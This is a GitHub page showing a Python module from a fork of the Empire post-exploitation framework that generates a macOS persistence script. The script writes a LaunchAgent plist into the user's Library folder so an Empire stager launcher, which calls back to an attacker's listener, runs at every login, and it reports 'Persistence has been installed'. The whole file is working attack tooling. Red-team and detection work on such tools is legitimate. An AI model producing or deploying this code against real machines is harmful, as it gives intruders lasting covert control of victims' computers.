forked from EmpireProject/Empire
-
-
Notifications
You must be signed in to change notification settings - Fork 586
/
LaunchAgentUserLandPersistence.py
78 lines (62 loc) · 1.82 KB
/
LaunchAgentUserLandPersistence.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.string_util import removeprefix, removesuffix
class Module:
@staticmethod
def generate(
main_menu: MainMenu,
module: EmpireModule,
params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
) -> tuple[str | None, str | None]:
plist_name = params["PLISTName"]
listener_name = params["Listener"]
user_agent = params["UserAgent"]
safe_checks = params["SafeChecks"]
launcher = main_menu.stagers.generate_launcher(
listener_name,
language="python",
userAgent=user_agent,
safeChecks=safe_checks,
)
launcher = removeprefix(launcher, "echo ")
launcher = removesuffix(launcher, " | python3 &")
launcher = launcher.strip('"')
plistSettings = f"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>{plist_name}</string>
<key>ProgramArguments</key>
<array>
<string>python</string>
<string>-c</string>
<string>{launcher}</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
"""
script = f"""
import subprocess
import sys
import base64
import os
plistPath = "/Library/LaunchAgents/{plist_name}"
if not os.path.exists(os.path.split(plistPath)[0]):
os.makedirs(os.path.split(plistPath)[0])
plist = \"\"\"
{plistSettings}
\"\"\"
homedir = os.getenv("HOME")
plistPath = homedir + plistPath
e = open(plistPath,'wb')
e.write(plist)
e.close()
os.chmod(plistPath, 0644)
print("\\n[+] Persistence has been installed: /Library/LaunchAgents/{plist_name}")
"""
return script